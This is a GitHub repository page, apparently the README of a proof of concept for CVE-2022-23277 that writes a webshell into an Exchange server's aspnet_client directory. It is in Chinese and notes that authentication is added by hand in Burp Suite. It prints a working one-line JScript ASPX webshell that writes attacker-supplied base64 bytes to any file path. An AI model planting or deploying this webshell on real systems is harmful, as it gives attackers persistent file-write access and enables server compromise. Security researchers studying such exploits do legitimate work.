认证部分需要通过burpsuite手动添加，利用成功后会在aspnet_client写入1.aspx。
webshell:
<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>
利用详情可以参照我们的文章
-
Notifications
You must be signed in to change notification settings - Fork 1
7BitsTeam/CVE-2022-23277
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Folders and files
| Name | Name | Last commit message | Last commit date | |
|---|---|---|---|---|
Repository files navigation
About
CVE-2022-23277 POC to write a webshell to aspnet_client
Resources
Stars
Watchers
Forks
Releases
No releases published
Packages 0
No packages published